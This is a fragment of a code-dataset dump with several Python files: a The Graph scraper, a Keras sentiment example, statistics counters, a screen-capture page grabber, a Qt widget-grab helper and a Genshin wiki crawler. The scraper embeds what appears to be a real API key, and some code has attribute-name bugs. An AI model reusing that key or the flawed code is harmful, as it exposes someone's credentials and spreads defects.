"line_number": 290, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 291, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 292, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 293, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 294, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 295, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 297, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 299, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 310, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 313, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 324, "usage_type": "call"}]} +{"seq_id": "12098191163", "text": "import requests\nfrom abc import ABC, abstractmethod\nimport datetime\nimport pandas as pd\n\n\nclass NodeScarperABC(ABC):\n api = '41a2f13b447bfaf0ca996c61ec6493b5'\n\n host = None\n endpoint = None\n query = None\n columns = ['token0', 'token1', 'token0_vol', 'token1_vol', 'timestamp', 'block_number']\n\n def __init__(self, address, last_timestamp):\n self._address = address\n self._last_timestamp = last_timestamp\n self._current_last_timestamp = self._get_current_timestamp()\n\n self._parameters = None\n self._result = None\n self._skip = 0\n\n @staticmethod\n def _get_current_timestamp():\n current_datetime = datetime.datetime.utcnow().timestamp()\n\n return current_datetime\n\n def scarp_data(self):\n self._create_url()\n\n self._init_result()\n\n while self._check_if_data_is_needed():\n parameters = self._update_parameters()\n\n data = self._query_data(parameters)\n\n parsed_data = self._parse_data(data)\n\n self._add_to_table(parsed_data)\n\n self._update_last_timestamp(parsed_data)\n\n self._save_data()\n\n def _check_if_data_is_needed(self):\n if self._current_last_timestamp <= self._last_timestamp:\n return False\n\n return True\n\n def _create_url(self):\n self._url = self.host + self.endpoint\n\n def _init_result(self):\n self._result = list()\n\n def _query_data(self, parameters):\n request = requests.post(\n self._url,\n '',\n json={'query': self.query, 'variables': parameters}\n )\n\n if request.status_code == 200:\n return request.json()\n else:\n raise Exception('Query failed. return code is {}. {}'.format(request.status_code, self.query))\n\n def _update_last_timestamp(self, parsed_data):\n last_date = parsed_data[-1][4]\n self._current_last_timestamp = last_date\n\n @abstractmethod\n def _update_parameters(self):\n pass\n\n @abstractmethod\n def _parse_data(self, data):\n pass\n\n def _add_to_table(self, parsed_data):\n self._result.extend(parsed_data)\n\n @abstractmethod\n def _save_data(self):\n pass\n", "repo_name": "gitgpns/thegraph-scarper", "sub_path": "source/node_scarprer_abc.py", "file_name": "node_scarprer_abc.py", "file_ext": "py", "file_size_in_byte": 2238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "abc.ABC", "line_number": 7, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 61, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 76, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 80, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 87, "usage_type": "name"}]} +{"seq_id": "33422109102", "text": "from __future__ import print_function\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Embedding\nfrom keras.layers import LSTM\nfrom keras.datasets import imdb\n\n\"\"\"\nTrains an LSTM model on the IMDB sentiment classification task.\nThe dataset is actually too small for LSTM to be of any advantage\ncompared to simpler, much faster methods such as TF-IDF + LogReg.\n# Notes\n- RNNs are tricky. Choice of batch size is important,\nchoice of loss and optimizer is critical, etc.\nSome configurations won't converge.\n- LSTM loss decrease patterns during training can be quite different\nfrom what you see with CNNs/MLPs/etc.\n\"\"\"\n\nmax_features = 20000\nmaxlen = 80 # cut texts after this number of words (among top max_features most common words)\nbatch_size = 32\n\nprint('Loading data...')\n(x_train, y_train), (x_test, y_test) = imdb.load_data(num_words=max_features)\nprint(len(x_train), 'train sequences')\nprint(len(x_test), 'test sequences')\n\nprint('Pad sequences (samples x time)')\nx_train = sequence.pad_sequences(x_train, maxlen=maxlen)\nx_test = sequence.pad_sequences(x_test, maxlen=maxlen)\nprint('x_train shape:', x_train.shape)\nprint('x_test shape:', x_test.shape)\n\nprint('Build model...')\nmodel = Sequential()\nmodel.add(Embedding(max_features, 128))\nmodel.add(LSTM(128, dropout=0.2, recurrent_dropout=0.2))\nmodel.add(Dense(1, activation='sigmoid'))\n\n# try using different optimizers and different optimizer configs\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\nprint(model.summary())\n\nprint('Train...')\nmodel.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=15,\n validation_data=(x_test, y_test))\nscore, acc = model.evaluate(x_test, y_test,\n batch_size=batch_size)\nprint('Test score:', score)\nprint('Test accuracy:', acc)\n", "repo_name": "kasptom/ed", "sub_path": "examples/imdb_lstm.py", "file_name": "imdb_lstm.py", "file_ext": "py", "file_size_in_byte": 1899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "keras.datasets.imdb.load_data", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.datasets.imdb", "line_number": 25, "usage_type": "name"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence", "line_number": 30, "usage_type": "name"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence", "line_number": 31, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.layers.Embedding", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "3674709083", "text": "from __future__ import with_statement\nimport collections\nimport datetime\nimport math\nimport threading\n\n\n__all__ = (\n 'Counter', 'MinMaxAvgCounter', 'StdDevCounter', 'MicrosecondCounter',\n 'ElapsedTimeStats',\n )\n\n\n__version__ = \"$Revision$\"\n\n\nclass Counter (object):\n \"\"\"\n Simple counter\n \"\"\"\n\n def __init__ (self, name=''):\n \"\"\"\n Constructor.\n\n :param name: Name of counter\n :type name: string\n \"\"\"\n self._lock = threading.Lock()\n self.name = name\n self._prefix = u\"%s%s\" % (\n self.name,\n '_' if self.name else '',\n )\n self.first = None\n self.last = None\n self.count = 0\n #end __init__\n\n\n def record (self):\n \"\"\"\n Record an event.\n \"\"\"\n with self._lock:\n self.count += 1\n self.last = datetime.datetime.now()\n if self.first is None:\n self.first = self.last \n #end record\n\n\n def __repr__ (self):\n return u\"%scount=%d&%sfirst=%s&%slast=%s\" % (\n self._prefix,\n self.count,\n self._prefix,\n self.first.isoformat(),\n self._prefix,\n self.last.isoformat(),\n )\n #end __repr__\n#end class Counter\n\n\nclass MinMaxAvgCounter (Counter):\n \"\"\"\n Min/max/avg counter for events with value.\n\n The average is calculated as a cumulative moving average to minimize storage\n size and overflow risk.\n \"\"\"\n\n def __init__ (self, name='', scale=1, precision=3):\n \"\"\"\n Constructor.\n\n :param name: Name of the counter\n :param scale: Scale factor to apply to sampled values when printing\n :param precision: Precision to apply to sampled values when printing\n \"\"\"\n self.max = 0\n self.min = 0\n self.avg = 0\n self._scale = scale\n self._precision = precision\n Counter.__init__(self, name)\n #end __init__\n\n\n def record (self, value):\n \"\"\"\n Record a sample.\n\n :param value: Value to associate with event\n \"\"\"\n Counter.record(self)\n with self._lock:\n if value > self.max:\n self.max = value\n if value < self.min or 0 == self.min:\n self.min = value\n # calculate cumulative moving average:\n # prior avg + diff between latest and previous div number of samples\n # http://en.wikipedia.org/wiki/Moving_average#Cumulative_moving_average\n self.avg += ((value - self.avg) / self.count)\n #end record\n\n\n def __repr__ (self):\n return u\"%s&%smin=%.*f&%savg=%.*f&%smax=%.*f\" % (\n Counter.__repr__(self),\n self._prefix,\n self._precision,\n (self.min / self._scale), \n self._prefix,\n self._precision,\n (self.avg / self._scale), \n self._prefix,\n self._precision,\n (self.max / self._scale),\n )\n #end __repr__\n#end class MinMaxAvgCounter\n\n\nclass StdDevCounter (MinMaxAvgCounter):\n \"\"\"\n Extension of the min/max/avg counter to include a continuous standard \n deviation calculation.\n\n The stddev is calculated using the Welford algorithm \n ((http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#On-line_algorithm))\n \"\"\"\n\n def __init__ (self, name='', scale=1, precision=3):\n \"\"\"\n Constructor.\n\n :param name: Name of the counter\n :param scale: Scale factor to apply to sampled values when printing\n :param precision: Precision to apply to sampled values when printing\n \"\"\"\n self._mean2 = 0\n self.stddev = 0\n MinMaxAvgCounter.__init__(self, name, scale, precision)\n #end __init__\n\n\n def record (self, value):\n \"\"\"\n Record a sample.\n\n :param value: Value to associate with event\n \"\"\"\n delta = value - self.avg\n MinMaxAvgCounter.record(self, value)\n with self._lock:\n # calculate stddev (standard deviation):\n # http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#On-line_algorithm\n self._mean2 += delta * (value - self.avg)\n if self.count > 2:\n self.stddev = math.sqrt(self._mean2 / self.count)\n #end record\n\n\n def __repr__ (self):\n return u\"%s&%sstddev=%.*f\" % (\n MinMaxAvgCounter.__repr__(self),\n self._prefix,\n self._precision,\n (self.stddev / self._scale), \n )\n #end __repr__\n#end class StdDevCounter\n\n\nclass MicrosecondCounter (StdDevCounter):\n \"\"\"\n StdDevCounter with scale set for converting microsecond samples into \n fractional seconds.\n \"\"\"\n\n def __init__ (self, name='', precision=3):\n StdDevCounter.__init__(\n self, name=name, scale=1000000.0, precision=precision)\n #end __init__\n#end class MicrosecondCounter\n\n\nclass ElapsedTimeStats (object):\n \"\"\"\n Track the elapsed time (in microseconds) of a variety of events.\n \"\"\"\n\n def __init__ (self):\n self.started = datetime.datetime.now()\n self.last = None\n self.counters = ElapsedTimeStats.ddict()\n #end __init__\n\n\n def record_delta (self, name, delta):\n \"\"\"\n Record an event sample.\n\n :param name: Name of event\n :param delta: Time elapsed during event (microseconds or timedelta)\n \"\"\"\n if isinstance(delta, datetime.timedelta):\n delta = delta.microseconds\n\n self.counters[name].record(delta)\n self.last = datetime.datetime.now()\n #end record_delta\n\n\n def record_elapsed (self, name, start):\n \"\"\"\n Record an event sample.\n\n :param name: Name of event\n :param start: Datetime event began\n \"\"\"\n self.record_delta(name, datetime.datetime.now() - start)\n #end record_elapsed\n\n\n def __repr__ (self):\n now = datetime.datetime.now()\n ret = [\n \"uptime=%s\" % (now - self.started),\n \"last=%s\" % self.last.isoformat(),\n ]\n\n # this seems really un-pythonic, but sort() returns None\n keys = self.counters.keys()\n keys.sort()\n for k in keys:\n ret.append(unicode(self.counters[k]))\n\n return \"&\".join(ret)\n #end __repr__\n\n\n class ddict (collections.defaultdict):\n def __missing__ (self, key):\n d = MicrosecondCounter(name=key)\n self[key] = d\n return d\n #end class ElapsedTimeStats.ddict\n#end class ElapsedTimeStats\n\n\nif __name__ == '__main__':\n#TODO unittests\n c = Counter()\n c.record()\n #print c\n for i in xrange(10):\n c.record()\n #print c\n\n c = Counter('mycounter')\n for i in xrange(10):\n c.record()\n #print c\n\n\n s = ElapsedTimeStats()\n s.record_delta('foo', 12345)\n s.record_delta('bar', datetime.timedelta(microseconds=54321))\n s.record_elapsed('baz', \n datetime.datetime.now() - datetime.timedelta(microseconds=99999))\n for i in xrange(10):\n s.record_delta('ten', 5000)\n\n for i in xrange(100):\n s.record_delta('100', 1000 * i)\n\n for i in xrange(1000):\n s.record_delta('big', 1000 * 1000 * i)\n\n import pprint\n pprint.pprint( dict([p.split('=') for p in str(s).split('&')]) )\n\n", "repo_name": "bd808/stattrap", "sub_path": "stattrap/stats.py", "file_name": "stats.py", "file_ext": "py", "file_size_in_byte": 6642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "threading.Lock", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 197, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 197, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 210, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 214, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 214, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 225, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 225, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 230, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 246, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 272, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 274, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 274, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 274, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 285, "usage_type": "call"}]} +{"seq_id": "4589672235", "text": "import os\r\nimport time\r\nimport cv2\r\nfrom mss import mss\r\nfrom PIL import Image\r\nimport pytesseract\r\nfrom constant import OUTPUT_IMG_FOLDER\r\nfrom os import path\r\nimport pyautogui\r\n\r\nclass Capture:\r\n def window_manager(self):\r\n print(\"10秒以内に撮影したい範囲の左上にカーソルを合わせてください\")\r\n time.sleep(10)\r\n upper_left_x, upper_left_y = pyautogui.position()\r\n print(f'左上の座標: {upper_left_x}, {upper_left_y}')\r\n\r\n print(\"10秒以内に撮影したい範囲の右下にカーソルを合わせてください\")\r\n time.sleep(10)\r\n bottom_right_x, bottom_right_y = pyautogui.position()\r\n print(f'右上の座標: {bottom_right_x}, {bottom_right_y}')\r\n\r\n print('座標取得完了')\r\n\r\n return upper_left_x, upper_left_y, bottom_right_x, bottom_right_y\r\n\r\n def window_capture(self, x_1, y_1, x_2, y_2):\r\n print('保存するテキストファイル名を入力してください：')\r\n file_name = input()\r\n\r\n max_page = 3000\r\n span = 0.1\r\n time.sleep(10)\r\n\r\n img_file_path = path.join(OUTPUT_IMG_FOLDER, file_name)\r\n os.mkdir(img_file_path)\r\n\r\n os.chdir(img_file_path)\r\n print(f'{img_file_path}に画像を保存していきます')\r\n\r\n sct = mss()\r\n screenshot = sct.grab({\"left\": x_1, \"top\": y_1, \"width\": x_2 - x_1, \"height\": y_2 - y_1})\r\n img = Image.frombytes(\"RGB\", screenshot.size, screenshot.bgra, \"raw\", \"BGRX\")\r\n img.save('picture_0.png')\r\n\r\n pyautogui.keyDown('down')\r\n pyautogui.keyUp('down')\r\n time.sleep(span)\r\n\r\n for page in range(1, max_page):\r\n screenshot = sct.grab({\"left\": x_1, \"top\": y_1, \"width\": x_2 - x_1, \"height\": y_2 - y_1})\r\n img = Image.frombytes(\"RGB\", screenshot.size, screenshot.bgra, \"raw\", \"BGRX\")\r\n img.save(f'picture_{page}.png')\r\n\r\n pyautogui.keyDown('down')\r\n pyautogui.keyUp('down')\r\n\r\n img_prev = cv2.imread(f'picture_{page-1}.png')\r\n img_current = cv2.imread(f'picture_{page}.png')\r\n time.sleep(span)\r\n\r\n mask = cv2.absdiff(img_prev, img_current)\r\n mask_gray = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\r\n if page == max_page or not cv2.countNonZero(mask_gray):\r\n break\r\n\r\n print('画像の保存が終了しました')\r\n\r\n return page, file_name, img_file_path\r\n", "repo_name": "DELAxGithub/myprjct", "sub_path": "Kindlepython/capture.py", "file_name": "capture.py", "file_ext": "py", "file_size_in_byte": 2483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 15, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 19, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "constant.OUTPUT_IMG_FOLDER", "line_number": 35, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 35, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 38, "usage_type": "call"}, {"api_name": "mss.mss", "line_number": 41, "usage_type": "call"}, {"api_name": "PIL.Image.frombytes", "line_number": 43, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 43, "usage_type": "name"}, {"api_name": "pyautogui.keyDown", "line_number": 46, "usage_type": "call"}, {"api_name": "pyautogui.keyUp", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image.frombytes", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 52, "usage_type": "name"}, {"api_name": "pyautogui.keyDown", "line_number": 55, "usage_type": "call"}, {"api_name": "pyautogui.keyUp", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 59, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.absdiff", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.countNonZero", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "70625993883", "text": "__all__ = [\"isWidget\", \"isWidgetClass\", \"getWidgetClasses\",\n \"grabWidget\"]\n\nimport time\nimport inspect\nimport logging\nimport threading\n\nfrom qarbon.util import moduleImport\nfrom qarbon.external.qt import QtCore, QtGui\n\n\ndef isWidget(obj):\n \"\"\"Determines if the given object is a Qt Widget.\n\n :param obj: object\n :return: True if the given object is a Qt Widget or False otherwise\n :rtype: bool\n \"\"\"\n return isinstance(obj, QtCore.QObject) and obj.isWidgetType()\n\n\ndef isWidgetClass(obj):\n \"\"\"Determines if the given object is a Qt Widget class.\n\n :param obj: object\n :return: True if the given object is a Qt Widget class or False otherwise\n :rtype: bool\n \"\"\"\n return inspect.isclass(obj) and issubclass(obj, QtGui.QWidget)\n\n\ndef getWidgetClasses(module_name):\n \"\"\"Returns the widget classes defined in a given module.\n\n Returns:\n\n {widget full name(str): {\"klass\": widget class(class),\n \"name\": widget name(str), \"full_name\": widget full name(str)}}\n\n :param module_name: name of the module in the format \"a.b.c\"\n :type module_name: str\n :return: a map with the widgets for the given module\n :rtype: dict\n \"\"\"\n widgets = {}\n module = moduleImport(module_name)\n\n for name, value in inspect.getmembers(module, isWidgetClass):\n if inspect.getmodule(value) != module:\n continue\n full_name = module_name + \".\" + name\n widgets[full_name] = dict(klass=value, name=name, full_name=full_name)\n return widgets\n\n\nclass __GrabberThread(threading.Thread):\n \"\"\"Helper to trigger grabbing a widget periodically\"\"\"\n \n def __init__(self, widget, fileName, period):\n threading.Thread.__init__(self, name=\"Grabber\")\n self.daemon = True\n if period <= 0:\n raise ValueError(\"period MUST be greater than 0\")\n self.__period = period\n self.__continue = True\n self.__grabber = __Grabber(widget, fileName)\n \n def run(self):\n period = self.__period\n while self.__continue:\n self.__grabber.grabTrigger()\n time.sleep(period)\n \n def stop(self):\n self.__continue = False\n \n\nclass __Grabber(QtCore.QObject):\n\n grab = QtCore.Signal()\n\n def __init__(self, widget, fileName):\n QtCore.QObject.__init__(self)\n self.__widget = widget\n self.__fileName = fileName\n self.grab.connect(self.__onGrab)\n \n def grabTrigger(self):\n self.grab.emit()\n \n def __onGrab(self):\n grabWidget(self._widget, self._fileName)\n\n\ndef grabWidget(widget, fileName, period=None):\n \"\"\"Grabs the given widget into the given image filename. If period is\n None (default) it grabs immediately once and returns.\n If period is given and >0 means grab the image every period (in seconds).\n \n .. warning::\n this method **MUST** be called from the same thread which created\n the widget\n \n :param widget: the Qt widget to be grabbed\n :type widget: QtWidget\n :param fileName: the name of the image file\n :type fileName: str\n :param period: period (seconds)\n :type period: float\n \"\"\"\n if period is None:\n widgetName = widget.objectName()\n widgetTitle = widget.windowTitle()\n logging.debug(\"Grabbing widget '%s' to '%s':\", widgetName, fileName)\n try:\n pixmap = QtGui.QPixmap.grabWidget(widget)\n if fileName.endswith('.svg'):\n import qarbon.external.qt.QtSvg\n generator = qarbon.external.qt.QtSvg.QSvgGenerator()\n generator.setFileName(fileName)\n generator.setSize(pixmap.size());\n if hasattr(generator, 'setViewBox'):\n viewBox = QtCore.QRect(QtCore.QPoint(0, 0), pixmap.size())\n generator.setViewBox(viewBox)\n title = \"Qarbon widget\"\n if widgetTitle:\n title += \" - \" + widgetTitle\n elif widgetName:\n title += \" - \" + widgetName\n desc = \"An SVG created by the qarbon widget grabber\"\n generator.setTitle(title)\n generator.setDescription(desc)\n painter = QtGui.QPainter()\n painter.begin(generator)\n try:\n painter.drawPixmap(0, 0, -1, -1, pixmap)\n finally:\n painter.end()\n else:\n pixmap.save(fileName, quality=100)\n except Exception:\n logging.warning(\"Could not save file into '%s':\", fileName)\n logging.debug(\"Details:\", exc_info=1)\n\n ret = __GrabberThread(widget, fileName, period)\n ret.start()\n return ret\n\n", "repo_name": "andygotz/qarbon", "sub_path": "qarbon/qt/gui/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 4743, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "qarbon.external.qt.QtCore.QObject", "line_number": 20, "usage_type": "attribute"}, {"api_name": "qarbon.external.qt.QtCore", "line_number": 20, "usage_type": "name"}, {"api_name": "inspect.isclass", "line_number": 30, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtGui.QWidget", "line_number": 30, "usage_type": "attribute"}, {"api_name": "qarbon.external.qt.QtGui", "line_number": 30, "usage_type": "name"}, {"api_name": "qarbon.util.moduleImport", "line_number": 47, "usage_type": "call"}, {"api_name": "inspect.getmembers", "line_number": 49, "usage_type": "call"}, {"api_name": "inspect.getmodule", "line_number": 50, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 57, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 61, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 61, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtCore.QObject", "line_number": 79, "usage_type": "attribute"}, {"api_name": "qarbon.external.qt.QtCore", "line_number": 79, "usage_type": "name"}, {"api_name": "qarbon.external.qt.QtCore.Signal", "line_number": 81, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtCore", "line_number": 81, "usage_type": "name"}, {"api_name": "qarbon.external.qt.QtCore.QObject.__init__", "line_number": 84, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtCore.QObject", "line_number": 84, "usage_type": "attribute"}, {"api_name": "qarbon.external.qt.QtCore", "line_number": 84, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 115, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtGui.QPixmap.grabWidget", "line_number": 117, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtGui.QPixmap", "line_number": 117, "usage_type": "attribute"}, {"api_name": "qarbon.external.qt.QtGui", "line_number": 117, "usage_type": "name"}, {"api_name": "qarbon.util.external.qt.QtSvg.QSvgGenerator", "line_number": 120, "usage_type": "call"}, {"api_name": "qarbon.util.external", "line_number": 120, "usage_type": "attribute"}, {"api_name": "qarbon.util", "line_number": 120, "usage_type": "name"}, {"api_name": "qarbon.external.qt.QtCore.QRect", "line_number": 124, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtCore", "line_number": 124, "usage_type": "name"}, {"api_name": "qarbon.external.qt.QtCore.QPoint", "line_number": 124, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtGui.QPainter", "line_number": 134, "usage_type": "call"}, {"api_name": "qarbon.external.qt.QtGui", "line_number": 134, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 143, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 144, "usage_type": "call"}]} +{"seq_id": "18284604857", "text": "from utils.quest_page import Quest\nfrom utils.voice_over_index import getVoiceOverWikiList\nfrom concurrent.futures import ThreadPoolExecutor, wait, as_completed\nfrom utils.sentences_difficulty import difficulty_analyze\nimport sqlite3\nfrom utils.character_voice import getAllCharacterVoiceOverPage, getCharacterVoicesOnPage\nfrom utils.voice_manager import getDestByFileName\n\nLOAD_EVENT_DATA = True\nLOAD_CHARACTER_DATA = True\n\nconn = sqlite3.connect(\"data/data.sqlite\")\ncur = conn.cursor()\npool = ThreadPoolExecutor(max_workers=8)\n\nif LOAD_EVENT_DATA:\n wiki_list = getVoiceOverWikiList()\n\n def func(link):\n q = Quest(link)\n return q.extractAll()\n\n print('Start crawling')\n result = pool.map(func, wiki_list) \n\n result = list(result)\n print('Crawling finished. Start storing.')\n\n # insert into chapter table\n print('Start chapter table.')\n chapters = []\n for quest, _ in result:\n chapters.append((quest['chapter'], quest['quest_type']))\n chapters = set(chapters)\n\n sql = 'INSERT or ignore INTO chapter (chapter_name, chapter_type_id) values \\n'\n for c in chapters:\n chapter_name = c[0]\n sql += f'(\"\"\"{chapter_name}\"\"\", {c[1]}),'\n sql = sql[:-1] + ';'\n cur.execute(sql)\n conn.commit()\n\n # insert into quest table\n print('Start quest table')\n for quest, _ in result:\n chapter_name = quest['chapter']\n cur.execute(\"\"\"INSERT or ignore INTO quest (quest_name, chapter_id, quest_link) SELECT ?, chapter_id, ? FROM chapter WHERE chapter_name = ?;\"\"\", (quest['quest_name'], quest['quest_link'], f'\"{chapter_name}\"'))\n conn.commit()\n\n # insert into dialogue table\n print('Start dialogue table')\n for quest, dialogues in result:\n quest_name = quest['quest_name']\n cur.execute('SELECT quest_id from quest where quest_name = ?', (quest_name, ))\n quest_id = cur.fetchone()[0]\n\n for dialogue in dialogues:\n cur.execute('insert or ignore into dialogue(dialogue_text, dialogue_quest_id, dialogue_audio_url, max_sentence_length, dialogue_audio_name) values (?, ?, ?, ?, ?)', (dialogue[0], quest_id, dialogue[2], difficulty_analyze(dialogue[0]),dialogue[1]))\n \n conn.commit()\n\n\nif LOAD_CHARACTER_DATA:\n # insert into character voice.\n print('Start crawling character voices.')\n character_page_list = getAllCharacterVoiceOverPage()\n\n result = pool.map(getCharacterVoicesOnPage, character_page_list)\n result = list(result)\n print('Crawling finished. Start storing.')\n\n for r in result:\n if r == None:\n continue\n character_name, character_page_url, voices = r\n chapter_quest_name = f'Character_Voice_{character_name}'\n cur.execute('insert or ignore into chapter (chapter_name, chapter_type_id) values (?, 6)', (chapter_quest_name, ))\n\n conn.commit()\n\n cur.execute('insert or ignore into quest (quest_name, chapter_id, quest_link) SELECT ?, chapter_id, ? FROM chapter WHERE chapter_name = ?;', (chapter_quest_name, character_page_url, f'{chapter_quest_name}'))\n\n conn.commit()\n\n cur.execute('SELECT quest_id from quest where quest_name = ?', (chapter_quest_name, ))\n quest_id = cur.fetchone()[0]\n\n for text, link, filename in voices:\n filepath = getDestByFileName(chapter_quest_name + filename)[1]\n cur.execute('insert or ignore into dialogue(dialogue_text, dialogue_quest_id, dialogue_audio_url, max_sentence_length, dialogue_audio_name) values (?, ?, ?, ?, ?)', (text, quest_id, link, difficulty_analyze(text), filepath))\n \n conn.commit()\n print(f'finish {character_name}')\n\n", "repo_name": "ZhiXingHeYi-0712/Genshin-Wiki-Voice-Crawler", "sub_path": "load_in_data.py", "file_name": "load_in_data.py", "file_ext": "py", "file_size_in_byte": 3678, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlite3.connect", "line_number": 12, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.voice_over_index.getVoiceOverWikiList", "line_number": 17, "usage_type": "call"}, {"api_name": "utils.quest_page.Quest", "line_number": 20, "usage_type": "call"}, {"api_name": "utils.sentences_difficulty.difficulty_analyze", "line_number": 59, "usage_type": "call"}, {"api_name": "utils.character_voice.getAllCharacterVoiceOverPage", "line_number": 67, "usage_type": "call"}, {"api_name": "utils.character_voice.getCharacterVoicesOnPage", "line_number": 69, "usage_type": "argument"}, {"api_name": "utils.voice_manager.getDestByFileName", "line_number": 90, "usage_type": "call"}, {"api_name": "utils.sentences_difficulty.difficulty_analyze", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "33009046157", "text": "# Utils.py\n'''\nUtility functions used in differente notebooks within this repo\n'''\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport scipy.stats as st\n# import pymc3 as pm\nimport seaborn as sns\n\n# enables inline plots, without it plots don't show up in the notebook\n# %matplotlib inline\n# %config InlineBackend.figure_format = 'svg'\n# %config InlineBackend.figure_format = 'png'\n# mpl.rcParams['figure.dpi']= 300\n\npd.set_option('display.max_columns', 300)\npd.set_option('display.max_rows', 60)\npd.set_option('display.precision', 3)\npd.set_option('display.float_format', lambda x: '%.3f' % x)\n\nimport sklearn\nfrom 